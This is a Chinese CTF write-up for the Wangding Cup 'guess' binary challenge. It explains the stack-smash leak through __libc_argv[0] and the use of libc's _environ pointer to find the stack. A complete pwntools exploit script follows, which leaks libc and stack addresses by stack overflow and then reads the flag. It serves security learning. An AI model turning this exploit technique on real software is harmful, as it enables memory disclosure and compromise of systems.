网鼎杯-guess

前言

通过这道题学习两个知识点:stack smash和_environ。
stack smash,在程序有canary的情况下,如果溢出会输出报错信息,这个报错信息保存在一个指针里面(&__libc_argv[0]),如果覆盖它为函数got表地址,报错的时候就输出函数真实地址。
_environ,libc里的一个环境指针,它指向栈地址。如果泄露出了libc地址,就可以获得_environ指针地址,也就可以泄露栈地址。

题目信息

没开PIE,GOT表可写。
网鼎杯-guess
程序有三次输入flag的机会,漏洞在于输入的地方,可以栈溢出。
网鼎杯-guess

漏洞利用

  1. 找到我们输入的位置(也就是s2)距离&__libc_argv[0]的偏移,栈溢出覆盖__libc_argv[0]为puts_got,泄露libc地址;
  2. 已知libc地址泄露栈地址用_environ,栈溢出覆盖__libc_argv[0]为libc_base+p64(libc.sym['_environ']),泄露_environ栈地址;
  3. 计算_environ距离flag字符串的偏移,栈溢出泄露flag字符串。

EXP

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

# context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
binary = './guess'
context.binary = binary
elf = ELF(binary,checksec=False)

def dbg(cmd=""):
	gdb.attach(p,cmd)

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
	return (system, binsh)

def pwn(argv):
	global p
	global libc
	if(len(argv)==1):
		p = process(binary)
		libc = elf.libc
	else:
		ip, port = "1.2.3.4:5678".split(":")
		p = remote(ip, port)
		libc = ELF("./libc-2.27.so")
	
	# leak libc
	# user input to &__libc_argv[0] 0x128
	sla("Please type your guessing flag","A"*0x128+p64(elf.got['puts']))
	ru(': ')
	puts_addr = uu64(r(6))
	leak('puts',puts_addr)
	libc_base = puts_addr - libc.sym['puts']
	leak('libc_base',libc_base)

	# leak stack 
	environ_got = libc_base + libc.sym['_environ']
	sla("Please type your guessing flag","A"*0x128+p64(environ_got))
	ru(': ')
	environ_addr = uu64(r(6))
	leak('environ_addr',environ_addr)

	# leak flag
	# environ_addr - flag = 0x168
	sla("Please type your guessing flag","A"*0x128+p64(environ_addr-0x168))
	# dbg()
	itr()


if __name__ == "__main__":
	pwn(sys.argv)

总结

已泄露libc地址,需要泄露栈地址,可以输出libc_base+p64(libc.sym['_enivron']),它就在栈上。

上一篇:【网络安全】一个堆题inndy_notepad的练习笔记


下一篇:.NET跨平台实践:.NetCore、.Net5/6 Linux守护进程设计